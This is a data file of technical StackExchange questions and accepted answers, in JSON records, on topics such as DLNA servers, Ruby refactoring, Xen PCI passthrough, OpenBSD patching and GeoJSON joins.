{  "id": "_unix.93875"  , "question": "Can someone please point me in the right direction? Hopefully first by letting me know if this is possible...I recently purchased a home theater system which you plug via hdmi into the tv. It has its own nice gui with netflix, and youtube, and blah blah blah. One of the options was to browse your computer. When you click on it it tries to connect to a server to find music/videos. Can I use my Ubuntu installed laptop to host a server to put music on and play it wirelessly essentially? I believe this is possible and should be pretty straight forward.How would I go about creating a server on the same laptop I would be interacting with it...I could then secure copy or sftp the files back and forth. Is there like special settings to keep in mind?Any words of wisdom would be appreciated. TxC"  , "title": "Setting up server to share music with tv"  , "tags": "ubuntu"  , "accepted_answer": "You'll need to confirm which standard your home theater ting is using, but it is probably using DLNA, an overly-cumbersome UPnP-based standard Consumer Electronics Manufacturers use.I have used 2, MediaTomb and MiniDLNA (now ReadyMedia, recently renamed).  I definitely recommend MiniDLNA.  MediaTomb is overly complicated and doesn't seem to be that actively maintained now.  MiniDLNA just worked once my wife installed it."  } 
{  "id": "_codereview.26923"  , "question": "is there a better why how can I refactor this code, making sure that values in a Hash are typecasted to true/false if their value is '1' or '0' while leaving unaltered the rest?I'm using Ruby 2.0.0 if that matters, and I'd like to improve this code.  def transform    hsh = {}    preferences.each do |k, v|      v = case v      when '1'        true      when '0'        false      else        v      end      hsh[k.to_sym] = v    end    hsh  endupdated with benchmarksAll right, here's the performance test based on the replies so far:class Test  HSH = {xxx=>xxx-rrr, yyy=>0, rrr=>1, nnn=>0, kkk=>1, iii=>1, lll=>default, mmm=>76, www=>1}  def self.transform_case    hsh = {}    HSH.each do |k, v|      v = case v      when '1'        true      when '0'        false      else        v      end      hsh[k.to_sym] = v    end    hsh  end  def self.transform_ternary    Hash[ HSH.map { |k, v| [k.to_sym, v == '1' ? true : v == '2' ? false : v ] } ]  end  def self.transform_fetch    special_values = {1 => true, 0 => false}    Hash[HSH.map { |k, v| [k.to_sym, special_values.fetch(v, v)] }]  end  def self.transform_negation    Hash[ preferences.map {|k,v| [k.to_sym, !!v]} ]  endendBenchmark.bm(20) do|b|  b.report('case') do    1500.times { Test.transform_case }  end  b.report('ternary') do    1500.times { Test.transform_ternary }  end  b.report('fetch') do    1500.times { Test.transform_fetch }  end  b.report('negation') do    1500.times { Test.transform_negation }  endend                           user     system      total        realcase                   0.010000   0.000000   0.010000 (  0.009282)ternary                0.010000   0.000000   0.010000 (  0.013794)fetch                  0.010000   0.000000   0.010000 (  0.012804)negation               0.010000   0.000000   0.010000 (  0.010760)It appears that my original implementation is faster. Or is the BM test wrong?"  , "title": "Manipulate Hash to typecast true/false for certain values"  , "tags": "ruby"  , "accepted_answer": "Code should be as declarative as possible (usually by using functional style):def transform  special_values = {1 => true, 0 => false}  Hash[preferences.map { |k, v| [k.to_sym, special_values.fetch(v, v)] }]endHowever, Hash[...] is very ugly and I prefer a more OOP approach with Enumerable#mash, so I'd really write preferences.mash { |k, v| [k.to_sym, special_values.fetch(v, v)] }."  } 
{  "id": "_webmaster.46656"  , "question": "I am trying to figure out the best option for web hosting of a startup business. I want to get a VPS hosting for this business and one factor that affects the price is the number of IP addresses.I was wondering what would be the advantage of having multiple IP addresses for one server. I have read the other questions and I know if I am going to use SSL for multiple websites on my server I would need unique IP address for each one but in this case I only would have one website."  , "title": "Multiple IP addresses to a server"  , "tags": "ip address;vps"  , "accepted_answer": "One IP could be for your web (HTTP/HTTPS) traffic, another could be for FTP or SSH access, another could be for mail, &c. If the publicly known IP (i.e. the one published to DNS) is separate to the one used for administration (only known by you and your team) then that would be a way of securing your server - by allowing different types of traffic over different IP addresses."  } 
{  "id": "_webmaster.105218"  , "question": "I registered an app in MailChimp but I changed my mind. I wonder if I can delete it?"  , "title": "How to remove registered app in mailchimp?"  , "tags": "mailchimp"  } 
{  "id": "_unix.111142"  , "question": "On my test system. I was doing some testing and i move the grub.conf file from /boot/grub/ to /opt/And on boot black screen came as expected with just grub> written on it. I tried to solve it using some tuts but it is not working./boot is on /dev/sda1is there a way to recover grub.conf without using live media.Sorry i forgot to add that this server is installed uisng Linux KVM Technology"  , "title": "How to recover missing Grub File"  , "tags": "rhel;grub2"  } 
{  "id": "_cs.13785"  , "question": "As a software engineer, I write a lot of code for industrial products. Relatively complicated stuff with classes, threads, some design efforts, but also some compromises for performance. I do a lot of testing, and I am tired of testing, so I got interested in formal proof tools, such as Coq, Isabelle... Could I use one of these to formally prove that my code is bug-free and be done with it? - but each time I check out one of these tools, I walk away unconvinced that they are usable for everyday software engineering. Now, that could only be me, and I am looking for pointers/opinions/ideas about that :-)Specifically, I get the impression that to make one of these tools work for me would require a huge investment to properly define to the prover the objects, methods... of the program under consideration. I then wonder if the prover wouldn't just run out of steam given the size of everything it would have to deal with. Or maybe I would have to get rid of side-effects (those prover tools seem to do really well with declarative languages), and I wonder if that would result in proven code that could not be used because it would not be fast or small enough. Also, I don't have the luxury of changing the language I work with, it needs to be Java or C++: I can't tell my boss I'm going to code in OXXXml from now on, because it's the only language in which I can prove the correctness of the code... Could someone with more experience of formal proof tools comment? Again - I would LOVE to use a formal prover tool, I think they are great, but I have the impression they are in an ivory tower that I can't reach from the lowly ditch of Java/C++... (PS: I also LOVE Haskell, OCaml... don't get the wrong idea: I am a fan of declarative languages and formal proof, I am just trying to see how I could realistically make that useful to software engineering)Update: Since this is fairly broad, let's try the following more specific questions: 1) are there examples of using provers to prove correctness of industrial Java/C++ programs? 2) Would Coq be suitable for that task? 3) If Coq is suitable, should I write the program in Coq first, then generate C++/Java from Coq? 4) Could this approach handle  threading and performance optimizations? "  , "title": "Formal program verification in practice"  , "tags": "programming languages;program correctness;software verification"  , "accepted_answer": "I'll try to give a succinct answer to some of your questions. Please bear in mind that this is not strictly my field of research, so some of my info may be outdated/incorrect.There are many tools that are specifically designed to formally prove properties of Java and C++. However I need to make a small digression here: what does it mean to prove correctness of a program? The Java type checker proves a formal property of a Java program, namely that certain errors, like adding a float and an int, can never occur! I imagine you are interested in much stronger properties, namely that your program can never enter into an unwanted state, or that the output of a certain function conforms to a certain mathematical specification. In short, there is a wide gradient of what proving a program correct can mean, from simple security properties to a full proof that the program fulfills a detailed specification.Now I'm going to assume that you are interested in proving strong properties about your programs. If you are interested in security properties (your program can not reach a certain state), then in general it seems the best approach is model checking. However if you wish to fully specify the behavior of a Java program, your best bet is to use a specification language for that language, for instance JML. There are such languages for specifying the behavior of C programs, for instance ACSL, but I don't know about C++.Once you have your specifications, you need to prove that the program conforms to that specification.For this you need a tool that has a formal understanding of both your specification and the operational semantics of your language (Java or C++) in order to express the adequacy theorem, namely that the execution of the program respects the specification.This tool should also allow you to formulate or generate the proof of that theorem. Now both of these tasks (specifying and proving) are quite difficult, so they are often separated in two: One tool that parses the code, the specification and generates the adequacy theorem. As Frank mentioned, Krakatoa is an example of such a tool.One tool that proves the theorem(s), automatically or interactively. Coq interacts with Krakatoa in this manner, and there are some powerful automated tools like Z3 which can also be used.One (minor) point: there are some theorems which are much too hard to be proven with automated methods, and automatic theorem provers are known to occasionally have soundness bugs which make them less trustworthy. This is an area where Coq shines in comparison (but it is not automatic!).If you want to generate Ocaml code, then definitely write in Coq (Gallina) first, then extract the code. However, Coq is terrible at generating C++ or Java, if it is even possible.Can the above tools handle threading and performance issues? Probably not, performance and threading concerns are best handled by specifically designed tools, as they are particularly hard problems. I'm not sure I have any tools to recommend here, though Martin Hofmann's PolyNI project seems interesting.In conclusion: formal verification of real world Java and C++ programs is a large and well-developed field, and Coq is suitable for parts of that task. You can find a high-level overview here for example."  } 
{  "id": "_unix.5778"  , "question": "There are two syntaxes for command substitution: with dollar-parentheses and with backticks.Running top -p $(pidof init) and top -p `pidof init` gives the same output. Are these two ways of doing the same thing, or are there differences?"  , "title": "What's the difference between $(stuff) and `stuff`?"  , "tags": "shell;command line;command substitution"  , "accepted_answer": "The old-style backquotes ` ` do treat backslashes and nesting a bit different. The new-style $() interprets everything in between ( ) as a command.echo $(uname | $(echo cat))Linuxecho `uname | `echo cat``bash: command substitution: line 2: syntax error: unexpected end of fileecho catworks if the nested backquotes are escaped:echo `uname | \\`echo cat\\``Linuxbackslash fun:echo $(echo '\\\\')\\\\echo `echo '\\\\'`\\The new-style $() applies to all POSIX-conformant shells.As mouviciel pointed out, old-style ` ` might be necessary for older shells.Apart from the technical point of view, the old-style ` ` has also a visual disadvantage:Hard to notice: I like $(program) better than `program`Easily confused with a single quote: '`'`''`''`'`''`'Not so easy to type (maybe not even on the standard layout of the keyboard)(and SE uses ` ` for own purpose, it was a pain writing this answer :)"  } 
{  "id": "_scicomp.16412"  , "question": "Before there was CUDA or OpenCL people were using GPUs for computation. I am trying to find out how they did that -- because I want to press my Rasberry Pi's GPU for computing and it does not seem to have OpenCL support. I am looking for notes on how they did this.I've done cursory Googling but have come up empty handed -- primarily because I think the search indexes and full of CUDA and OpenCL related material.Would appreciate any pointers on how to use GPUs for computation in the absence of CUDA and OpenCL.  "  , "title": "using GPUs before CUDA and OpenCL"  , "tags": "gpu;cuda;opencl"  , "accepted_answer": "I don't know a definitive source, but have a look at GPU Gems 2, which is a book published by NVIDIA about ten years ago and available online. While much of it is about computer graphics, it has a number of sections devoted to general purpose computing on GPUs from the time before CUDA and OpenCL.I am not familiar enough with Raspberry Pi to tell if this book will actually help you very much."  } 
{  "id": "_unix.123876"  , "question": "I have comp54.tgz installed.# cd /root && ftp http://ftp.openbsd.org/pub/OpenBSD/`uname -r`/src.tar.gz && tar -xzf /root/src.tar.gz -C /usr/src# uname -r5.4# pwd/usr/src# ls -latotal 124drwxrwxr-x   17 root  wsrc     512 Apr 13 19:35 .drwxr-xr-x   17 root  wheel    512 Jul 30  2013 ..drwxr-xr-x    2 root  wsrc     512 Jul 29  2013 CVS-rw-r--r--    1 root  wsrc    3456 Jul 24  2013 Makefile-rw-r--r--    1 root  wsrc   16419 Jul  7  2013 Makefile.crossdrwxr-xr-x   36 root  wsrc    1024 Jul 29  2013 bindrwxr-xr-x   31 root  wsrc     512 Jul 29  2013 distribdrwxr-xr-x   35 root  wsrc    2560 Jul 29  2013 etcdrwxr-xr-x   44 root  wsrc    1024 Jul 29  2013 gamesdrwxr-xr-x    9 root  wsrc     512 Jul 29  2013 gnudrwxr-xr-x    7 root  wsrc    2048 Jul  7  2013 includedrwxr-xr-x   11 root  wsrc     512 Jul 29  2013 kerberosVdrwxr-xr-x   40 root  wsrc    1024 Jul 29  2013 libdrwxr-xr-x   40 root  wsrc    1024 Jul 29  2013 libexecdrwxr-xr-x   15 root  wsrc     512 Jul 10  2010 regressdrwxr-xr-x   78 root  wsrc    1536 Jul 29  2013 sbindrwxr-xr-x   14 root  wsrc     512 Jul 29  2013 sharedrwxr-xr-x  228 root  wsrc    4096 Jul 29  2013 usr.bindrwxr-xr-x  144 root  wsrc    2560 Jul 29  2013 usr.sbin# which gcc/usr/bin/gcc# # ftp http://ftp.openbsd.org/pub/OpenBSD/patches/5.4/common/001_pflow.patch  Trying 129.128.5.191...Requesting http://ftp.openbsd.org/pub/OpenBSD/patches/5.4/common/001_pflow.patch100% |*******************************************************|   803       00:00    803 bytes received in 0.00 seconds (11.10 MB/s)# # patch -p0 < 001_pflow.patch                                               Hmm...  Looks like a unified diff to me...The text leading up to this was:--------------------------|Apply by doing:|       cd /usr/src|       patch -p0 < 001_pflow.patch||Then build and install a new kernel.||Index: sys/net/if_pflow.c|===================================================================|RCS file: /vol/openbsd/cvs/src/sys/net/if_pflow.c,v|retrieving revision 1.32|diff -u -p -r1.32 if_pflow.c|--- sys/net/if_pflow.c 5 Jul 2013 17:14:27 -0000       1.32|+++ sys/net/if_pflow.c 7 Nov 2013 16:48:45 -0000--------------------------File to patch: # what do I need to write here???????No file found--skip this patch? [n] patch: **** can't find ## My question: how do I get past of the File to patch: ?"  , "title": "How to apply a patch in OpenBSD?"  , "tags": "openbsd"  } 
{  "id": "_unix.334476"  , "question": "In a fresh Bugzilla installation (5.0.3), on a Scientific Linux 6 server I can't set the mail parameters due to this error:The new value for smtpserver is invalid: Cannot connect to mail.smpt.serverDespite the fact that SMTP settings are correct. The SMTP server for the company is fully functional, on that server I downloaded thunderbird and was able to log in to my account smoothly without any problem which should mean the server has no problem with SMTP at all.I'm still searching with no clear hind what the cause could be. Any help is really appreciated!Update: In the old installation I can set these values and I can submit a bug but the email is not sent. This article says that bugzilla does not support SMTP with authentication (Not sure if true or not).Update: I installed the necessary modules here and again no luck.Update: On the old installation (4.something), we managed to setup an email account without authentication. This Bugzilla can now send email and it should work smoothly.Update: I found this useful article which applies a custom send mail script but the error message could not tell me where the error is."  , "title": "Bugzilla cannot connect to an SMTP server"  , "tags": "bugzilla"  } 
{  "id": "_codereview.108315"  , "question": "I am about to post a question to Stack Overflow about how to do a better job adding a number to the list inside the User class. But I feel if I refactored this I might solve my problem with coupling my data like this. So I am open to suggestions.Ideonepublic static void addOrUpdate(Dictionary<int, User> dic, int key, User user){    //sets a new user data and just replaces it in the dictionary    //var used = new User { ID = id1, Name = Harry };    var used = new User{ ID = id3, Name = Henry ,AddressBook = new List<ContactNumber>(){new ContactNumber(3111),new ContactNumber(4444)}};    if (dic.TryGetValue(key, out user))    {        // yay, value exists!        dic[key] = used;    }    else    {        // darn, lets add the value         dic.Add(key, used);    }}"  , "title": "Data Structures C# Dictionary and user has a property that is a list"  , "tags": "c#;object oriented;dictionary"  } 
{  "id": "_unix.55207"  , "question": "I am trying to run Windows XP in a Xen DomU virtual machine with a PCIe device, for which there are no Linux drivers, being passed through from a Debian Squeeze Dom0. My hardware supports virtualization and it is active in the bios. If I rungrep -E (vmx|svm) --color=always /proc/cpuinfowhen I boot from the standard kernel I can see my processor supports vmx, although when I boot the Xen kernel, vmx doesn't show up.I have followed the setup in http://wiki.xen.org/wiki/Xen_Beginners_Guide. The guide basically creates a minimal Debain Squeeze install as Dom0, a PV Debian Squeeze DomU and a HVM Windows DomU running on an LVM volume. I have followed the guide essentially to the letter with the only differences being network bridge is different and I didn't install a Debian PV DomU.I currently have a DomU on an LVM volume that is running a fully updated version of Windows XP with the GPLPV drivers. I am now trying to pass the PCI device, but am running into problems. If I compare the output of lspci with and without the PCIe card that I am trying to pass I see the following two new entries:05:00.0 PCI bridge: PLX Technology, Inc. PEX 8111 PCI Express-to-PCI Bridge (rev 21)06:04.0 Bridge: Device 4550:9054 (rev 01)I also see that another entry has changed its address from 06:00.0 IDE interface: Marvell Technology Group Ltd. 88SE6121 SATA II Controller (rev b2)to07:00.0 IDE interface: Marvell Technology Group Ltd. 88SE6121 SATA II Controller (rev b2)I modified /etc/default/grub to include eitherGRUB_CMDLINE_XEN=xen-pciback.hide=(05:00.0)(06:04.0)orGRUB_CMDLINE_XEN=pciback.hide=(05:00.0)(06:04.0)and run update-grub and update-grub2 after making the change and then fully powered down and rebooted. This doesn't appear to do anything and nothing shows up withxm pci-list-assignable-devicesLooking at the Xen wiki guide http://wiki.xen.org/wiki/Xen_PCI_Passthrough I have tried things likeecho 0000:05:00.0 > /sys/bus/pci/devices/0000:05:00.0/driver/unbindecho 0000:05:00.0 > /sys/bus/pci/drivers/pciback/new_slotecho 0000:05:00.0 > /sys/bus/pci/drivers/pciback/bindand some other stuff related to pci-stub. Sometimes my random fiddling results in xm pci-list-assignable-deviceslisting 05:00.0 and 06:04.0. If I modify my .cfg file to includepci = ['05:00.0', '06:04.0']I get an error about pci-stub not owning the 05:00.0 device. If I only try and pass 06:04.0 the DomU won't boot.Any ideas how to get pci passthrough working."  , "title": "PCI passthrough with Xen"  , "tags": "debian;virtual machine;virtualization;xen;pci"  } 
{  "id": "_scicomp.7375"  , "question": "How can I convert matrices L and U output by dgssvx() of SuperLU to triples format (to matrix market format)? Also how can I convert input matrix A in triples format (in matrix market format) to the format required by SuperLU? What is the easiest way to perform these format conversions?"  , "title": "Converting matrices L and U output by dgssv() of SuperLU to triples format"  , "tags": "matrices;io"  } 
{  "id": "_softwareengineering.220769"  , "question": "In other words, is DRY (don't repeat yourself) applied at a class level a subset of SRP (single responsibilty principle)? What I mean is that while SRP states that each class should have only a single responsibility ( ie. class should only have one reason to change ), is it the application of DRY at class level that prevents two classes from having the same responsibility ( thus it is DRY that prevents the repetition/duplication of same responsibility in two different classes )?Thank you"  , "title": "How is DRY principle ( applied at class level ) related to SRP?"  , "tags": "design patterns;dry;single responsibility"  , "accepted_answer": "What I mean is that while SRP states that each class should have only a single responsibility ( ie. class should only have one reason to change ), is it the application of DRY at class level that prevents two classes from having the same responsibility ( thus it is DRY that prevents the repetition/duplication of same responsibility in two different classes )?No. You can still not repeat yourself but violate single responsibility. Likewise, you can repeat yourself but classes only have a single (duplicated, but subtly different) responsibility.While the two guidelines can and will tend to overlap, they are orthogonal concepts."  } 
{  "id": "_unix.320255"  , "question": "I installed Apache version 2.0.65.Installation Process:cd /usr/local/srctar xvfz httpd-2.0.65.tar.gzcd httpd-2.0.65./configure --prefix=/usr/local/apache --enable-so --enable-module=so --enable-shared=max --enable-rewrite --enable-shared=rewritemakemake install/usr/local/apache/bin/apachectl startBut nothing like below:[root@ip- bin]# ./apachectl start<br>[root@ip- bin]#This is the output:[root@ip-172-31-2-245 bin]# ./apachectl restart<br> httpd not running, trying to startThe strange thing is that I think there is no problem in the setting.[root@ip- bin]# ./httpd -t<br>  Syntax OK<br>  [root@ip- bin]#./apachectl configtest<br>  Syntax OK<br>So, I see in /usr/local/apache/logs/error_log:[crit] (22)Invalid argument: mod_rewrite: Could not set permissions onrewrite_log_lock;<br>check User and Group directives Configuration FailedWhat is the problem here, then?"  , "title": "Apache version 2.0.65 apachectl is not working"  , "tags": "apache httpd;amazon ec2"  } 
{  "id": "_softwareengineering.59870"  , "question": "The more I explore Github, the more I like it. I really enjoy how coding is becoming more social.I'm curious as to if there are any bad practices that programmers should avoid in sharing their code with each other. And in naming bad practices, what are the best practices for code sharing?For example: Is it a bad practice for a single repo to have multiple scripts/projects named 'MiscProjects'? Where this repo, as the name suggest, is a collection of miscellaneous small scripts and projects. This may resemble how a programmer organizes projects on his/her local storage, but it's possibly not optimal for code sharing? Maybe if a good README/documentation is done, it would be better? Or as long as it's well documented, anything goes?"  , "title": "Best/Bad practices for code sharing?"  , "tags": "github"  , "accepted_answer": "While there no 'bad practices' set in stone, likewise with other version control systems, there are conventions.Your Git repo should be as small as possible. If you're coming from the CVS/SVN module, it was common to have a structured single repository which could compose of multiple repositories for a number of projects. The Git way is to split these up and have separate Git repos for each project. Reasons are:Git is faster for smaller repos.Due to its design, each operations affects the entire repo. It is inefficient to perform Git operations over necessary projects if you're only working on one of them.Documentation, as always, is a must. While people are adept at reading code, no one wants to interpret code any more than they need to. Using the top-level README to describe the project and the structure of the Git repo will always be a good thing for those involved (or looking to get involved) in the project.The majority of the project on GitHub conform to the conventions. Use them as examples for how to structure your future projects."  } 
{  "id": "_unix.15982"  , "question": "How can I find out the Mflops on my linux computer? I can see the bogomips on my /proc/cpuinfo but I don't see any Mflops on that file:$ cat /proc/cpuinfo | grep -ie mips -ie flopsbogomips    : 3591.29bogomips    : 3590.96bogomips    : 3590.96bogomips    : 3590.96"  , "title": "Finding MFLOPS using Linux "  , "tags": "performance;cpu"  , "accepted_answer": "Similar question asked here - ServerFaultThe person who asked the question was pleased with Phoronix Test Suite."  } 
{  "id": "_codereview.110473"  , "question": "is there an easier/more efficient way to join two JSON objects on a common property than this? It's a GeoJSON file (basically an array of objects), and I want to pull in a property from another JSON file (array of objects) based on a common property, similar to a SQL SELECT a.*, b.* FROM a LEFT JOIN b ON a.id = b.a_id$.when(    $.getJSON('https://data.phila.gov/resource/bbgf-pidf.geojson'),    $.getJSON('https://data.phila.gov/resource/r24g-zx3n.json?%24select=count(*)%20as%20value%2C%20%3A%40computed_region_bbgf_pidf%20as%20label&%24group=%3A%40computed_region_bbgf_pidf&%24order=value%20desc')).done(function(responseGeojson, responseData) {    var data = responseData[0]    var geojson = responseGeojson[0]    // Create hash table for easy reference    var dataHash = {}    data.forEach(function(item) {        if(item.label) dataHash[item.label] = item.value    })    // Add value from hash table to geojson properties    geojson.features.forEach(function(item) {        item.properties.incidents = +dataHash[item.properties._feature_id] || null     })    console.log(geojson)})"  , "title": "Join JSON objects on common property"  , "tags": "javascript;json;geospatial;join"  , "accepted_answer": "I notice a query on one of your urls. I suggest you use jQuery's $.param to construct the query cleanly.For your first loop, you could use reduce instead of forEach to generate your hash. Additionally, you might want kill NaN early. You don't want to be carrying NaN in any data structure, otherwise you'll get some unexpected NaN in your code.var dataHash = data.reduce(function(hash, item) {  var value = +item.value  hash[item.label] = isNaN(value) ? null : value;  return hash;}, {});geojson.features.forEach(function(item) {  item.properties.incidents = dataHash[item.properties._feature_id];});As for efficiency, I guess that's about it. You don't want to be nesting a lookup inside the other loop. Two separate loops is better then one nested inside another."  } 
{  "id": "_webmaster.26370"  , "question": "I just bought the deluxe web-hosting service of godaddy and am very confused with the term primary domain. What is this thing for and can I remove it so I can organize my websites in different directories./root/site1/root/site2/root/site3....PS I used to work with MediaTemple and remember that there was no primary domain....please help."  , "title": "what is the primary domain in godaddy for?"  , "tags": "web hosting;domains;godaddy"  , "accepted_answer": "Godaddy for some reason requires you to have a primary domain setup for each hosting account.  So this basically makes the root whatever the primary domain is.There is a way that you can setup a false domain so that you can take the previous primary domain and move it. see the link here http://help.godaddy.com/article/4067This will make the root non-web-accessible.  You basically create a false domain of anything you want as long as it isn't used by anyone else.  You can then move all your domains to a central area.For instance my previous setup was this/root/primary/root/sites/site2/root/sites/site3After the switch I have/root/falsedomain <--not web accessible as well as any folders at same level/root/sites/site1 <--previous primary/root/sites/site2/root/sites/site3Note that it can take some time to make the domain changes so if you have live sites they could be down for up to 24 hours.  I'm pretty sure you also won't be able to use some things Godaddy has like the stats."  } 
{  "id": "_cs.18326"  , "question": "This is one of the special cases for Chinese Postman Problem.I know the answer is (Cost of all Edges + Cost of shortest path between the odd degree vertices). How do I prove this?I am trying to prove the solution to this UVA problem."  , "title": "Minimum cost tour for a simple connected graph having exactly two odd degree vertices"  , "tags": "graph theory"  } 
{  "id": "_codereview.91324"  , "question": "Two strings are isomorphic if the characters in s can be replaced to get t.Can efficiency be increased further for this code? As I am getting errors that limit is being exceeded for very large strings.static boolean isIsomorphic(String s, String t) {s= s.toLowerCase();t = t.toLowerCase();if(s.length()!=t.length()){    return false;}if(s.equalsIgnoreCase(t)){    return true;}    HashMap<Character,Integer> mapOfFirst = new HashMap<Character,Integer>();    HashMap<Character,Integer> mapOfSec = new HashMap<Character,Integer>();    int cnt1 =0 ;    int cnt2 =0 ;    for(int i =0;i<s.length();i++){        if(mapOfFirst.get(s.toCharArray()[i])!=null){        }        else{            mapOfFirst.put(s.toCharArray()[i],cnt1);            cnt1 = cnt1+1;        }    }    for(int i =0;i<t.length();i++){        if(mapOfSec.get(t.toCharArray()[i])!=null){        }        else{            mapOfSec.put(t.toCharArray()[i],cnt2);            cnt2 = cnt2+1;        }    }    char[] sCharArray_Fir = s.toCharArray();    char[] sCharArray_Sec= t.toCharArray();    for(int i = 0 ; i< s.length();i++){        int ch1 = mapOfFirst.get(sCharArray_Fir[i]);        int ch2 = mapOfSec.get(sCharArray_Sec[i]);        if(ch1!=ch2){            return false;        }    }    return true;}   "  , "title": "Isomorphic Strings"  , "tags": "java;algorithm;time limit exceeded"  , "accepted_answer": "The efficiency could be increased if you placechar[] sCharArray_Fir = s.toCharArray();char[] sCharArray_Sec= t.toCharArray();before your for loops and replace everys.toCharArray()[i]withsCharArray_Fir[i]The same applies tot.toCharArray()[i].Each time you call that, your string is converted to char array.Call it once before the for loops.Also, consider removing the if conditional, and fill your maps first instead of checking them for mappings while they're empty:for(int i =0;i<s.length();i++){    // if(mapOfFirst.get(s.toCharArray()[i])!=null){    //    // }    // else{        mapOfFirst.put(sCharArray_Fir[i],cnt1);        cnt1 = cnt1+1;    // }}Another thing is that you already checked if your strings are of the same length, so you can include contents of your second for loop in the first one (use the same cnt value too):for(int i =0;i<s.length();i++){    mapOfFirst.put(sCharArray_Fir[i],cnt1);    mapOfSec.put  (sCharArray_Sec[i],cnt1);    cnt1 = cnt1+1;       }"  } 
{  "id": "_unix.337608"  , "question": "I have been using Qubes 3.2 for 5 months now without any significant problems. Then, out of nothing, I can't login. Qubes passed to sddm login screen as usual, then I could choose from desktop environments and type password but, after I did this, cross cursor (x) showed up and nothing more happend. It's not frozen, I can still switch to tty and login there, but even no ethernet controller has been loaded. Creating new user did also nothing.Some time ago I answered a question here regarding exactly the same scenario on standard fedora 24 but that steps won't work for me so.. I believe someone ever solved that as it happend twice to me (fedora support forums are still ignoring this).Note that I has been using Qubes clean install,no testing repos enableddomains and dom0 were up to date5 months without a bugno noob magic usedQubes is based on fedora 23 and xen kernel...Any fresh idea will be awesome as I have to boot an less secure OS now and don't have time and handy tools to secure it myself (better nothing than hacked you know)."  , "title": "Qubes (Fedora 23) won't login"  , "tags": "fedora;xfce;xen;qubes;sddm"  } 
{  "id": "_webmaster.2408"  , "question": "Could someone explain me what could be an advnatage of being on Twitter for a company website?Except the fact that it's on fashion right now. :)I'm asking because on so many site I find the little bird with the words FOLLOW us on Twitter.Cool I click on the bird and it brings me to the Twitter page of the company.Ihave seen these Twitter's page on many sites, but these pages are always a list of short messages that I don't understand. Soem seem to be private message, some seem to be advertisments from others.What should I FOLLOW in those messages?How should I read through those messages?Could you give a real life example that shows what's a potenatial advanatge of being on Twitter?ThanksUPDATE:Just some example of hosting companies useing Twitter. Plz have a look and explain me what's the catch, what are they getting out from these (to me useless) twitter pages?http://twitter.com/inmotionhostinghttp://twitter.com/arhoster"  , "title": "Web marketing: tangible advantages of being on Twitter?"  , "tags": "twitter;marketing;social networks"  , "accepted_answer": "A raw twitter stream will typically look like gibberish for the uninitiated, especially when Twitter is used right. The short format (max 140 characters) typically force the tweeter to use very domain specific lingo, which may look weird for the outsider. This is why you might feel alienated when you visit certain Twitter streams.You should only follow companies/people you care about, and you need not read all their tweets, at least not addressed messages (those tweets start with @somename). Create your own twitter login and follow those that interest you. When you follow someone, you don't see addressed messages to strangers and this typically remove the 'private noise' you see on their Twitter profile page. If you find the tweets from someone boring or just too frequent, stop following them. Tweet, re-tweet and reply wisely. When done well people will start to follow you.Some companies tweet short sensible announcement, like a long boring list of short news headlines. The more savvy companies manage to engage with 'their followers' - people (typically customers) who somehow take an interest in what the company is doing. Companies who manage to do this have a 'direct line' to their most hard core customers/fans out there. They can chat back and forth with them both as a collective group and more individually.I would say that Twitter has value for a company if - and only if - they can reach and engage customers, potential customers or relevant influential people via their Twitter activity. Twitter without engagement is probably a waste of time. Obvious benefits of engaging relevant people via Twitter are keeping the outside world up-to-date with your products and getting feedback from people who care enough to give it, but you can also use Twitter to build up your brand as a caring company with great opinions on industry matters (react to feedback, share tips, voice you opinion on major relevant events). If you manage to do this you will probably get higher customer loyalty, and as a side effect you also get great input for future product development and voicing your opinions might also spawn of more awareness inside your company.Some companies can benefit from Twitter while other would be wasting their time. If you sell high-end skateboards to rich teens, Twitter could probably boost your sales a lot. If you are a mortician I'd guess you wouldn't find Twitter useful.Question UPDATE:http://twitter.com/inmotionhosting talks with customers and respond to positive feedback and negative feedback - those customers are probably happy being heard. He is also following people who contact him. Both can build loyalty.He is sharing some tips and he is showing a social side of the company by tweeting about employees birthdays and pictures from social events - this is to try to make him interesting to follow and show a human face. He also has some personal now Im going to meeting tweets which I guess he might as well not do  I expect no one cares.In short he is engaging customers and showing a side of the company that would otherwise have gone unnoticed. The followers (that read his tweets) are often reminded of the companys existence and get a more personal relationship with the company.http://twitter.com/arhosterjust use twitter as a list of news headlines. They dont seem to spend much time on it and they dont seem to be using Twitter as a social media. They might be starting up their twitter activity  it takes time to learn Twitter and engage people."  } 
{  "id": "_unix.63379"  , "question": "I'm running Solaris 8 on a Sun Ultra 2 connected to a Verizon router. nslookup seems to work (it finds google.com) but the existing browser (Netscape 4.76 - yes - it's very old) fails to reach any web page Unable to connect to server (TCP Error. Network is unreachable).Obviously I'm a novice when it comes to these connectivity issues. Any help will be appreciated."  , "title": "Browser fails to reach any host on Solaris 8"  , "tags": "solaris;tcp;browser"  } 
{  "id": "_unix.202828"  , "question": "I'm writing a custom reboot program in C and trying to decide if I should use reboot(2) directly or call system(/sbin/reboot).Both reboot(8) and init 6 change the runlevel and gracefully shut down services, then unmount all filesystems. But, reboot(2) does neither of these things.When should reboot(2) be used in preference to reboot(8)?(I know from the man page to call sync(2) before reboot(2).)"  , "title": "When to use reboot(2) vs reboot(8)"  , "tags": "linux;init"  } 
{  "id": "_unix.168170"  , "question": "How can I list the X clients which registered for a specific keyboard event (i.e. a key press; a shortcut thing). Those things are called passive key(board) grabs.And the list should contain what that application is registered for what keysyms (with what modifiers)."  , "title": "Which application receives which hotkey? (List X clients which hold key grabs.)"  , "tags": "x11;keyboard shortcuts;xkb"  } 
{  "id": "_cstheory.10142"  , "question": "I am faced with the following question on max. integer multiflow:INSTANCE: An acyclic directed graph G=(V,E), a capacity function c:EN, k pairs of vertices (si,ti) and a demand function d:{1,,k}N.Objective: Find the integer flows satisfying maximum demand.what is the hardness status of this problem?"  , "title": "multi-commodity flow acyclic digraphs"  , "tags": "cc.complexity theory;graph theory;max flow;multicommodity flow"  } 
